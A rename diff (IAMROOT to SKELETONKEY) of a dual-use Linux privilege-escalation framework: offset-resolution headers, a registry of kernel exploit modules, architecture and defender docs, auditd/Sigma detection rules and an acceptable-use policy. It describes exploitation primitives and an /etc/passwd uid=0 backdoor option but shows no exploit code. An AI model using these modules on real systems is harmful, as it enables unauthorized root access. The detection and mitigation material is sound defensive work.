struct iamroot_kernel_offsets {
struct skeletonkey_kernel_offsets {
/* Host fingerprint */
char kernel_release[128]; /* uname -r */
char distro[64]; /* parsed from /etc/os-release ID= */
/* Kernel base — needed when offsets are relative-to-_text.
* Set by iamroot_offsets_apply_kbase_leak() after EntryBleed runs. */
* Set by skeletonkey_offsets_apply_kbase_leak() after EntryBleed runs. */
uintptr_t kbase;
/* Symbol virtual addresses (final, post-KASLR-resolution). */
@@ -58,9 +58,9 @@ struct iamroot_kernel_offsets {
uint32_t cred_uid_offset; /* offset of uid_t uid in cred (almost always 4) */
/* Where did each field come from. */
enum iamroot_offset_source source_modprobe;
enum iamroot_offset_source source_init_task;
enum iamroot_offset_source source_cred;
enum skeletonkey_offset_source source_modprobe;
enum skeletonkey_offset_source source_init_task;
enum skeletonkey_offset_source source_cred;
};
/* Best-effort resolution. Returns the number of critical fields
@@ -69,25 +69,25 @@ struct iamroot_kernel_offsets {
*
* Resolution chain is tried in order; later sources do NOT overwrite
* a field already set by an earlier source. */
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out);
int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out);
/* Apply a runtime-leaked kbase to any embedded-table entries that
* shipped as relative-to-_text offsets. Idempotent. */
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
uintptr_t leaked_kbase);
/* Returns true if modprobe_path can be written (the simplest root-pop
* finisher). */
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off);
bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off);
/* Returns true if init_task + cred offsets are known (the cred-uid
* finisher). */
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off);
bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off);
/* For diagnostic logging — pretty-print what we resolved to stderr. */
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off);
void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off);
/* Helper: return the name of the source enum. */
const char *iamroot_offset_source_name(enum iamroot_offset_source src);
const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src);
#endif /* IAMROOT_OFFSETS_H */
#endif /* SKELETONKEY_OFFSETS_H */
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/*
* IAMROOT — module registry implementation
* SKELETONKEY — module registry implementation
*
* Simple flat array. Resized in chunks of 16. We never expect more
* than a few dozen modules, so this is fine.
@@ -14,22 +14,22 @@
#define REGISTRY_CHUNK 16
static const struct iamroot_module **g_modules = NULL;
static const struct skeletonkey_module **g_modules = NULL;
static size_t g_count = 0;
static size_t g_cap = 0;
void iamroot_register(const struct iamroot_module *m)
void skeletonkey_register(const struct skeletonkey_module *m)
{
if (m == NULL || m->name == NULL) {
fprintf(stderr, "[!] iamroot_register: NULL module or unnamed module\n");
fprintf(stderr, "[!] skeletonkey_register: NULL module or unnamed module\n");
return;
}
if (g_count == g_cap) {
size_t new_cap = g_cap + REGISTRY_CHUNK;
const struct iamroot_module **n =
const struct skeletonkey_module **n =
realloc((void *)g_modules, new_cap * sizeof(*g_modules));
if (n == NULL) {
fprintf(stderr, "[!] iamroot_register: OOM\n");
fprintf(stderr, "[!] skeletonkey_register: OOM\n");
return;
}
g_modules = n;
@@ -38,18 +38,18 @@ void iamroot_register(const struct iamroot_module *m)
g_modules[g_count++] = m;
}
size_t iamroot_module_count(void)
size_t skeletonkey_module_count(void)
{
return g_count;
}
const struct iamroot_module *iamroot_module_at(size_t i)
const struct skeletonkey_module *skeletonkey_module_at(size_t i)
{
if (i >= g_count) return NULL;
return g_modules[i];
}
const struct iamroot_module *iamroot_module_find(const char *name)
const struct skeletonkey_module *skeletonkey_module_find(const char *name)
{
if (name == NULL) return NULL;
for (size_t i = 0; i < g_count; i++) {
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@@ -1,44 +1,51 @@
/*
* IAMROOT — module registry
* SKELETONKEY — module registry
*
* Global list of registered modules. Each family contributes via
* register_<family>_modules() called from iamroot main() at startup.
* register_<family>_modules() called from skeletonkey main() at startup.
*/
#ifndef IAMROOT_REGISTRY_H
#define IAMROOT_REGISTRY_H
#ifndef SKELETONKEY_REGISTRY_H
#define SKELETONKEY_REGISTRY_H
#include "module.h"
void iamroot_register(const struct iamroot_module *m);
void skeletonkey_register(const struct skeletonkey_module *m);
size_t iamroot_module_count(void);
const struct iamroot_module *iamroot_module_at(size_t i);
size_t skeletonkey_module_count(void);
const struct skeletonkey_module *skeletonkey_module_at(size_t i);
/* Find a module by name. Returns NULL if not found. */
const struct iamroot_module *iamroot_module_find(const char *name);
const struct skeletonkey_module *skeletonkey_module_find(const char *name);
/* Each module family declares one of these in its public header. The
* top-level iamroot main() calls them in order at startup. */
void iamroot_register_copy_fail_family(void);
void iamroot_register_dirty_pipe(void);
void iamroot_register_entrybleed(void);
void iamroot_register_pwnkit(void);
void iamroot_register_nf_tables(void);
void iamroot_register_overlayfs(void);
void iamroot_register_cls_route4(void);
void iamroot_register_dirty_cow(void);
void iamroot_register_ptrace_traceme(void);
void iamroot_register_netfilter_xtcompat(void);
void iamroot_register_af_packet(void);
void iamroot_register_fuse_legacy(void);
void iamroot_register_stackrot(void);
void iamroot_register_af_packet2(void);
void iamroot_register_cgroup_release_agent(void);
void iamroot_register_overlayfs_setuid(void);
void iamroot_register_nft_set_uaf(void);
void iamroot_register_af_unix_gc(void);
void iamroot_register_nft_fwd_dup(void);
void iamroot_register_nft_payload(void);
* top-level skeletonkey main() calls them in order at startup. */
void skeletonkey_register_copy_fail_family(void);
void skeletonkey_register_dirty_pipe(void);
void skeletonkey_register_entrybleed(void);
void skeletonkey_register_pwnkit(void);
void skeletonkey_register_nf_tables(void);
void skeletonkey_register_overlayfs(void);
void skeletonkey_register_cls_route4(void);
void skeletonkey_register_dirty_cow(void);
void skeletonkey_register_ptrace_traceme(void);
void skeletonkey_register_netfilter_xtcompat(void);
void skeletonkey_register_af_packet(void);
void skeletonkey_register_fuse_legacy(void);
void skeletonkey_register_stackrot(void);
void skeletonkey_register_af_packet2(void);
void skeletonkey_register_cgroup_release_agent(void);
void skeletonkey_register_overlayfs_setuid(void);
void skeletonkey_register_nft_set_uaf(void);
void skeletonkey_register_af_unix_gc(void);
void skeletonkey_register_nft_fwd_dup(void);
void skeletonkey_register_nft_payload(void);
void skeletonkey_register_sudo_samedit(void);
void skeletonkey_register_sequoia(void);
void skeletonkey_register_sudoedit_editor(void);
void skeletonkey_register_vmwgfx(void);
void skeletonkey_register_dirtydecrypt(void);
void skeletonkey_register_fragnesia(void);
void skeletonkey_register_pack2theroot(void);
#endif /* IAMROOT_REGISTRY_H */
#endif /* SKELETONKEY_REGISTRY_H */
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@@ -14,7 +14,7 @@ modules/<module_name>/
├── MODULE.md # Human-readable writeup of the bug
├── NOTICE.md # Credits to original researcher
├── kernel-range.json # Machine-readable affected kernels
├── module.c # Implements iamroot_module interface
├── module.c # Implements skeletonkey_module interface
├── module.h
├── detect/
│ ├── auditd.rules # blue team detection
@@ -24,10 +24,10 @@ modules/<module_name>/
└── tests/ # per-module tests (run in CI matrix)
```
### `iamroot_module` interface (planned, Phase 1)
### `skeletonkey_module` interface (planned, Phase 1)
```c
struct iamroot_module {
struct skeletonkey_module {
const char *name; /* "copy_fail" */
const char *cve; /* "CVE-2026-31431" */
const char *summary; /* one-line description */
@@ -35,29 +35,29 @@ struct iamroot_module {
/* Return 1 if host appears vulnerable, 0 if patched/immune,
* -1 if probe couldn't run. May call entrybleed_leak_kbase()
* etc. from core/ if a leak primitive is needed. */
int (*detect)(struct iamroot_host *host);
int (*detect)(struct skeletonkey_host *host);
/* Run the exploit. Caller has already passed the
* authorization gate. Returns 0 on root acquired,
* nonzero on failure. */
int (*exploit)(struct iamroot_host *host, struct iamroot_opts *opts);
int (*exploit)(struct skeletonkey_host *host, struct skeletonkey_opts *opts);
/* Apply a runtime mitigation for this CVE (sysctl, module
* blacklist, etc.). Returns 0 on success. NULL if no
* mitigation is offered. */
int (*mitigate)(struct iamroot_host *host);
int (*mitigate)(struct skeletonkey_host *host);
/* Undo --exploit-backdoor or --mitigate side effects. */
int (*cleanup)(struct iamroot_host *host);
int (*cleanup)(struct skeletonkey_host *host);
/* Affected kernel version range, distros covered, etc. */
const struct iamroot_kernel_range *ranges;
const struct skeletonkey_kernel_range *ranges;
size_t n_ranges;
};
```
Modules register themselves at link time via a constructor-attribute
table. The top-level `iamroot` binary iterates the registry on each
table. The top-level `skeletonkey` binary iterates the registry on each
invocation.
## Shared `core/`
@@ -78,11 +78,15 @@ Code that more than one module needs lives in `core/`:
## Top-level dispatcher
`iamroot.c` (planned, Phase 1) is the CLI entry point. Responsibilities:
`skeletonkey.c` (planned, Phase 1) is the CLI entry point. Responsibilities:
1. Parse args (`--scan`, `--exploit <name>`, `--mitigate`,
`--detect-rules`, `--cleanup`, etc.)
2. Fingerprint the host
2. **Fingerprint the host**`core/host.c` is called once at startup
to populate `struct skeletonkey_host` (kernel version + arch +
distro + capability gates + service presence). The result is
handed to every module via `ctx->host`. See "Host fingerprint"
below.
3. For `--scan`: iterate module registry, call each module's
`detect()`, emit table of results
4. For `--exploit <name>`: locate module, gate behind `--i-know`,
@@ -90,6 +94,44 @@ Code that more than one module needs lives in `core/`:
5. For `--detect-rules`: walk module registry, concatenate detection
files in the requested format
## Host fingerprint (`core/host.{h,c}`)
A single `struct skeletonkey_host` is populated once at startup and
exposed to every module via `ctx->host` (a stable pointer for the
process lifetime). It carries:
- **Identity:** `struct kernel_version kernel` + arch + nodename +
distro id/version/pretty (parsed from `/etc/os-release`).
- **Process state:** euid, real_uid (defeats the userns illusion by
reading `/proc/self/uid_map`), egid, username, is_root,
is_ssh_session.
- **Platform family:** is_linux, is_debian_family, is_rpm_family,
is_arch_family, is_suse_family.
- **Capability gates (Linux):** unprivileged_userns_allowed (live
fork-probe), apparmor_restrict_userns, unprivileged_bpf_disabled,
kpti_enabled, kernel_lockdown_active, selinux_enforcing,
yama_ptrace_restricted.
- **System services:** has_systemd, has_dbus_system.
Modules that want to consult the fingerprint do:
```c
#include "../../core/host.h"
/* ... */
if (ctx->host && !ctx->host->unprivileged_userns_allowed)
return SKELETONKEY_PRECOND_FAIL;
if (ctx->host->kernel.major < 7)
return SKELETONKEY_OK; /* predates the bug */
```
The migration is opt-in per module — modules that don't `#include`
host.h continue to do their own probes; modules that do save the
duplicate work and get a consistent view across the whole scan.
`--auto` and `--scan` (in verbose mode) print a two-line banner of
the fingerprint via `skeletonkey_host_print_banner()` so operators
can see at a glance which gates are open.
## CI matrix
`.github/workflows/ci.yml` (planned, Phase 4) runs each module's
@@ -109,7 +151,7 @@ the module).
1. `git checkout -b add-cve-XXXX-NNNN`
2. `cp -r modules/_stubs/_template modules/<module_name>`
3. Fill in `MODULE.md`, `NOTICE.md`, `kernel-range.json`
4. Implement `module.c` exposing the `iamroot_module` interface
4. Implement `module.c` exposing the `skeletonkey_module` interface
5. Ship at least one detection rule under `detect/`
6. Add tests under `tests/`
7. PR. CI runs the matrix. If it lands root on at least one
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@@ -1,25 +1,25 @@
# IAMROOT for defenders
# SKELETONKEY for defenders
IAMROOT is dual-use: the same binary that runs exploits also ships the
SKELETONKEY is dual-use: the same binary that runs exploits also ships the
detection rules to spot them. This document is for the blue team.
## TL;DR
```bash
# 1. Detect what you're vulnerable to (no system modification)
sudo iamroot --scan --json | jq .
sudo skeletonkey --scan --json | jq .
# 2. Deploy detection rules covering every bundled CVE
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
sudo systemctl restart auditd
# 3. (Optional) Apply pre-patch mitigations for vulnerable families
sudo iamroot --mitigate copy_fail # or whatever module reports VULNERABLE
sudo skeletonkey --mitigate copy_fail # or whatever module reports VULNERABLE
# 4. Watch
sudo ausearch -k iamroot-copy-fail -ts recent
sudo ausearch -k iamroot-dirty-pipe -ts recent
sudo ausearch -k iamroot-pwnkit -ts recent
sudo ausearch -k skeletonkey-copy-fail -ts recent
sudo ausearch -k skeletonkey-dirty-pipe -ts recent
sudo ausearch -k skeletonkey-pwnkit -ts recent
```
## Why a single tool for offense and defense
@@ -27,7 +27,7 @@ sudo ausearch -k iamroot-pwnkit -ts recent
Public LPE PoCs ship without detection rules. Public detection rules
ship without test corpora. The gap means defenders deploy rules they
never validate against a real exploit, and attackers iterate against
defenders who haven't tuned thresholds. IAMROOT closes that loop:
defenders who haven't tuned thresholds. SKELETONKEY closes that loop:
- Each module ships an exploit AND the detection rules that catch it.
- Every CVE in `CVES.md` has a row in the rule corpus.
@@ -41,7 +41,7 @@ defenders who haven't tuned thresholds. IAMROOT closes that loop:
### Inventory what's bundled
```bash
iamroot --list
skeletonkey --list
```
Prints every registered module with CVE, family, and one-line summary.
@@ -49,9 +49,9 @@ Prints every registered module with CVE, family, and one-line summary.
### Run all detectors
```bash
iamroot --scan # human-readable
iamroot --scan --json # one JSON object → SIEM ingest
iamroot --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
skeletonkey --scan # human-readable
skeletonkey --scan --json # one JSON object → SIEM ingest
skeletonkey --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
```
Result codes per module:
@@ -63,23 +63,23 @@ Result codes per module:
| `PRECOND_FAIL` | Preconditions missing (module/feature not installed) | 4 |
| `TEST_ERROR` | Probe could not run (permissions, missing tools, etc.) | 1 |
`iamroot --scan` returns the WORST result code across all modules.
`skeletonkey --scan` returns the WORST result code across all modules.
Use this in CI to fail builds that produce vulnerable images.
### Deploy detection rules
```bash
# auditd (most environments)
sudo iamroot --detect-rules --format=auditd \
| sudo tee /etc/audit/rules.d/99-iamroot.rules
sudo skeletonkey --detect-rules --format=auditd \
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
sudo augenrules --load # or systemctl restart auditd
# Sigma (for SIEMs that ingest sigma)
iamroot --detect-rules --format=sigma > /etc/falco/iamroot.sigma.yml
skeletonkey --detect-rules --format=sigma > /etc/falco/skeletonkey.sigma.yml
# YARA / Falco — placeholders for future modules; currently empty
iamroot --detect-rules --format=yara
iamroot --detect-rules --format=falco
skeletonkey --detect-rules --format=yara
skeletonkey --detect-rules --format=falco
```
Rules are emitted in registry order, deduplicated by string-pointer:
@@ -91,19 +91,19 @@ auditd config).
| Key | Modules | What it catches |
|---|---|---|
| `iamroot-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
| `iamroot-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
| `iamroot-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
| `iamroot-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
| `iamroot-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
| `iamroot-pwnkit` | pwnkit | pkexec watch |
| `iamroot-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |
| `skeletonkey-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
| `skeletonkey-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
| `skeletonkey-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
| `skeletonkey-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
| `skeletonkey-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
| `skeletonkey-pwnkit` | pwnkit | pkexec watch |
| `skeletonkey-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |
Search:
```bash
sudo ausearch -k iamroot-copy-fail -ts today
sudo ausearch -k iamroot-pwnkit -ts today
sudo ausearch -k skeletonkey-copy-fail -ts today
sudo ausearch -k skeletonkey-pwnkit -ts today
```
### Mitigate (pre-patch)
@@ -114,10 +114,10 @@ distro-portable workarounds:
```bash
# Currently: copy_fail_family — blacklists algif_aead/esp4/esp6/rxrpc,
# sets kernel.apparmor_restrict_unprivileged_userns=1, drops caches.
sudo iamroot --mitigate copy_fail
sudo skeletonkey --mitigate copy_fail
# Revert mitigation (e.g., before applying the real kernel patch)
sudo iamroot --cleanup copy_fail
sudo skeletonkey --cleanup copy_fail
```
Modules without `--mitigate` (dirty_pipe, entrybleed, pwnkit) report
@@ -131,7 +131,7 @@ The `--scan --json` output is one-line-per-host friendly:
```bash
# scan a host list via ssh
for h in $(cat fleet.txt); do
ssh $h sudo iamroot --scan --json | jq --arg h "$h" '. + {host: $h}'
ssh $h sudo skeletonkey --scan --json | jq --arg h "$h" '. + {host: $h}'
done | jq -s . > fleet-scan-$(date +%F).json
# group by vulnerability
@@ -148,9 +148,9 @@ modification.
| Rule | False-positive shape |
|---|---|
| `iamroot-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
| `iamroot-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |
| `skeletonkey-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |
The shipped rules are starting points. Tune per environment.
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# IAMROOT detection playbook
# SKELETONKEY detection playbook
Operational guide for blue teams using IAMROOT defensively. Pairs
Operational guide for blue teams using SKELETONKEY defensively. Pairs
with `docs/DEFENDERS.md` (the "what" reference) — this is the "how to
make it part of your daily ops" guide.
@@ -8,15 +8,15 @@ make it part of your daily ops" guide.
```
┌─────────────┐
│ inventory │ ← iamroot --list (what's bundled?)
│ inventory │ ← skeletonkey --list (what's bundled?)
└──────┬──────┘
┌─────────────┐
│ scan │ ← iamroot --scan --json (what am I vulnerable to?)
│ scan │ ← skeletonkey --scan --json (what am I vulnerable to?)
└──────┬──────┘
┌─────────────┐
│ fleet scan │ ← iamroot-fleet-scan.sh hosts.txt
│ fleet scan │ ← skeletonkey-fleet-scan.sh hosts.txt
└──────┬──────┘
┌────────────┼────────────┐
@@ -29,7 +29,7 @@ make it part of your daily ops" guide.
└────────────┼────────────┘
┌─────────────┐
│ monitor │ ← ausearch -k iamroot-* / SIEM alerts
│ monitor │ ← ausearch -k skeletonkey-* / SIEM alerts
└─────────────┘
```
@@ -39,17 +39,17 @@ make it part of your daily ops" guide.
```bash
# Daily/weekly hygiene check
sudo iamroot --scan
sudo skeletonkey --scan
# If anything's VULNERABLE, deploy detections + apply mitigation
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
sudo augenrules --load
sudo iamroot --mitigate copy_fail # or whichever module fired
sudo skeletonkey --mitigate copy_fail # or whichever module fired
```
### Small fleet (~10-100 hosts, SSH-reachable)
Use `tools/iamroot-fleet-scan.sh`:
Use `tools/skeletonkey-fleet-scan.sh`:
```bash
# Hosts list — one per line; user@host:port supported
@@ -61,8 +61,8 @@ ops@db-01:2222
EOF
# Scan; binary scp'd, run, cleaned up. Output is one JSON doc.
./iamroot-fleet-scan.sh \
--binary ./iamroot \
./skeletonkey-fleet-scan.sh \
--binary ./skeletonkey \
--ssh-key ~/.ssh/ops_key \
--parallel 8 \
hosts.txt > fleet-scan-$(date +%F).json
@@ -95,7 +95,7 @@ Output shape:
### Larger fleet (>100 hosts)
`iamroot-fleet-scan.sh` is intentionally simple (parallel ssh). For
`skeletonkey-fleet-scan.sh` is intentionally simple (parallel ssh). For
fleets too large for SSH-fan-out, wrap it in your config-management
tool of choice:
@@ -108,22 +108,22 @@ tool of choice:
Sample Ansible task:
```yaml
- name: scan with iamroot
- name: scan with skeletonkey
copy:
src: iamroot
dest: /tmp/iamroot
src: skeletonkey
dest: /tmp/skeletonkey
mode: '0755'
- name: run --scan --json
command: /tmp/iamroot --scan --json --no-color
command: /tmp/skeletonkey --scan --json --no-color
register: scan
changed_when: false
failed_when: false # iamroot exit codes are semantic, not errors
failed_when: false # skeletonkey exit codes are semantic, not errors
- name: collect
set_fact:
iamroot_scan: "{{ scan.stdout | from_json }}"
skeletonkey_scan: "{{ scan.stdout | from_json }}"
- name: cleanup
file:
path: /tmp/iamroot
path: /tmp/skeletonkey
state: absent
```
@@ -133,46 +133,46 @@ Sample Ansible task:
```
# splunk input config (inputs.conf)
[script:///opt/iamroot/iamroot-cron-scan.sh]
[script:///opt/skeletonkey/skeletonkey-cron-scan.sh]
interval = 86400
source = iamroot
sourcetype = iamroot:scan
source = skeletonkey
sourcetype = skeletonkey:scan
```
`iamroot-cron-scan.sh`:
`skeletonkey-cron-scan.sh`:
```bash
#!/bin/bash
/usr/local/bin/iamroot --scan --json --no-color
/usr/local/bin/skeletonkey --scan --json --no-color
```
Search the indexed events:
```spl
index=iamroot sourcetype="iamroot:scan" modules{}.result=VULNERABLE
index=skeletonkey sourcetype="skeletonkey:scan" modules{}.result=VULNERABLE
| stats count by host modules{}.cve
```
### Elastic / OpenSearch
Filebeat module reading the per-host scan JSON files (one per day),
indexed into an `iamroot-*` index pattern. Standard Kibana
indexed into an `skeletonkey-*` index pattern. Standard Kibana
visualization on `modules.cve` over time tracks vulnerability lifecycle.
### Sigma → your platform
```bash
# Ship Sigma rules into your platform
iamroot --detect-rules --format=sigma > /etc/sigma/iamroot.yml
skeletonkey --detect-rules --format=sigma > /etc/sigma/skeletonkey.yml
# Convert to your target (Sentinel, Elastic, etc.) via sigmac
sigmac -t elastic /etc/sigma/iamroot.yml
sigmac -t elastic /etc/sigma/skeletonkey.yml
```
## Day-to-day operational shape
### What "good" looks like in the SIEM
- Daily `iamroot --scan --json` from every host indexed
- Daily `skeletonkey --scan --json` from every host indexed
- Trend dashboard: count of VULNERABLE results by CVE over time
- Goal: every VULNERABLE → OK transition within SLA (e.g., 14 days for
patched-mainline bugs, 24h for actively-exploited)
@@ -181,22 +181,22 @@ sigmac -t elastic /etc/sigma/iamroot.yml
### Auditd events from the embedded rules
After deploying `iamroot --detect-rules --format=auditd`:
After deploying `skeletonkey --detect-rules --format=auditd`:
```bash
# By module key
sudo ausearch -k iamroot-copy-fail -ts today
sudo ausearch -k iamroot-dirty-pipe -ts today
sudo ausearch -k iamroot-pwnkit -ts today
sudo ausearch -k iamroot-nf-tables-userns -ts today
sudo ausearch -k iamroot-overlayfs -ts today
sudo ausearch -k skeletonkey-copy-fail -ts today
sudo ausearch -k skeletonkey-dirty-pipe -ts today
sudo ausearch -k skeletonkey-pwnkit -ts today
sudo ausearch -k skeletonkey-nf-tables-userns -ts today
sudo ausearch -k skeletonkey-overlayfs -ts today
# Anything iamroot-tagged in the last hour
sudo ausearch -k 'iamroot-*' -ts recent
# Anything skeletonkey-tagged in the last hour
sudo ausearch -k 'skeletonkey-*' -ts recent
# Forward to syslog (rsyslog example)
# /etc/rsyslog.d/iamroot.conf:
:msg, contains, "iamroot-" @@your-siem.example.com:514
# /etc/rsyslog.d/skeletonkey.conf:
:msg, contains, "skeletonkey-" @@your-siem.example.com:514
```
### When a VULNERABLE result fires
@@ -208,11 +208,11 @@ A scan reports VULNERABLE for module X
├── Q: Can I patch the underlying kernel / package?
│ ├── YES → schedule patch window. In the meantime:
│ │ iamroot --mitigate X (if supported)
│ │ skeletonkey --mitigate X (if supported)
│ │ Verify auditd rule for X is loaded.
│ │ Monitor for the rule key.
│ └── NO (legacy LTS, embedded device, prod freeze) →
iamroot --mitigate X (essential)
skeletonkey --mitigate X (essential)
│ Compensating control: tighten LSM (SELinux/AppArmor)
│ Document in risk register
@@ -238,7 +238,7 @@ If you applied a mitigation and now need to revert (e.g., the kernel
patch has rolled out fleet-wide):
```bash
sudo iamroot --cleanup copy_fail
sudo skeletonkey --cleanup copy_fail
# OR manually:
sudo rm /etc/modprobe.d/dirtyfail-mitigations.conf
sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
@@ -249,11 +249,11 @@ sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
| Rule key | False positive | Fix |
|---|---|---|
| `iamroot-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs |
| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts |
| `iamroot-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign |
| `iamroot-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs |
| `iamroot-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` |
| `skeletonkey-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs |
| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts |
| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign |
| `skeletonkey-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs |
| `skeletonkey-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` |
## Pre-patch quarantine pattern
@@ -261,13 +261,13 @@ If a CVE is in active exploitation and you can't patch immediately:
```bash
# Stage 1: detect
sudo iamroot --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")'
sudo skeletonkey --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")'
# Stage 2: mitigate (where supported)
sudo iamroot --mitigate <module>
sudo skeletonkey --mitigate <module>
# Stage 3: monitor — auditd rules already deployed
sudo ausearch -k 'iamroot-*' -ts today | grep <module>
sudo ausearch -k 'skeletonkey-*' -ts today | grep <module>
# Stage 4: contain — temporarily restrict the trigger surface
# e.g., for nf_tables CVE-2024-1086:
@@ -281,7 +281,7 @@ sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=1
## Maintenance contract
When IAMROOT ships a new module:
When SKELETONKEY ships a new module:
1. CI test passes on at least one vulnerable + patched kernel pair
2. Detection rules ship alongside (auditd + sigma minimum)
@@ -293,7 +293,7 @@ Treat these as the SLA for any blue-team-facing deliverable.
## When you find a new false positive
File an issue at https://github.com/KaraZajac/IAMROOT/issues with:
File an issue at https://github.com/KaraZajac/SKELETONKEY/issues with:
- The exact ausearch line that fired
- The legitimate process that produced it
- Distro / kernel version
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## Acceptable use
IAMROOT is intended for:
SKELETONKEY is intended for:
1. **Authorized red-team / pentest engagements.** You have a written
scope, signed by someone who can authorize testing on the target
systems.
2. **Defensive teams testing detection coverage.** You're using
IAMROOT in a lab to verify your auditd/sigma/falco rules fire as
SKELETONKEY in a lab to verify your auditd/sigma/falco rules fire as
expected.
3. **Security researchers studying historical LPEs.** You're reading
the code, running it in your own VMs, learning how the primitives
actually work end-to-end.
4. **Build engineers verifying patch coverage.** You're running
`iamroot --scan` against your fleet's golden images to confirm
`skeletonkey --scan` against your fleet's golden images to confirm
each known CVE shows up as patched.
## Not-acceptable use
IAMROOT should not be used:
SKELETONKEY should not be used:
1. On systems you do not own and have not been authorized to test
2. As part of unauthorized access to any system
@@ -28,18 +28,18 @@ IAMROOT should not be used:
4. To build a worm, scanner, or any tool that automatically targets
systems at scale without per-target authorization
By using IAMROOT you assert that your use falls into the
By using SKELETONKEY you assert that your use falls into the
acceptable-use cases above.
## Why this is publishable
Every CVE bundled in IAMROOT is:
Every CVE bundled in SKELETONKEY is:
- **Already patched** in upstream mainline kernel
- **Already published** in NVD or distro security trackers
- **Already covered** by existing public PoCs
IAMROOT does not introduce new offensive capability. It bundles,
SKELETONKEY does not introduce new offensive capability. It bundles,
documents, and CI-tests what is already public — and ships the
detection signatures defenders need to spot it.
@@ -51,25 +51,25 @@ real defensive value through the detection-rule exports.
## Disclosure
If you find a bug in IAMROOT itself (incorrect detection, broken
If you find a bug in SKELETONKEY itself (incorrect detection, broken
exploit on a kernel where it should work, missing a backport in the
range metadata): file a public GitHub issue.
If you find a **new 0-day kernel LPE while inspired by reading
IAMROOT code**: please disclose it responsibly to the kernel
SKELETONKEY code**: please disclose it responsibly to the kernel
security team (`security@kernel.org`) and the affected distros
*before* writing a public PoC. Once upstream patch ships and a CVE
is assigned, IAMROOT will gladly accept the module.
is assigned, SKELETONKEY will gladly accept the module.
## Persistence and stealth are out of scope
`--exploit-backdoor` in the copy_fail module overwrites a
`/etc/passwd` line with a `uid=0` shell account. This is **overt**:
- The username is `iamroot` (was `dirtyfail`) — instantly identifiable
- It's covered by the auditd rules IAMROOT ships
- The username is `skeletonkey` (was `dirtyfail`) — instantly identifiable
- It's covered by the auditd rules SKELETONKEY ships
- `--cleanup-backdoor` restores the original line
If you're looking for evasion, persistence, or stealth: not here.
Use a real C2 framework if you have authorization to do so. IAMROOT
Use a real C2 framework if you have authorization to do so. SKELETONKEY
stops at "demonstrate that the bug works."
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# SKELETONKEY JSON output schema
`skeletonkey --scan --json` (and `--auto --json`, planned) emit a
single JSON object on **stdout**. All human-readable banner lines and
per-module log chatter go to **stderr** in JSON mode — pipes to SIEMs
and fleet aggregators get a clean machine-parseable document on
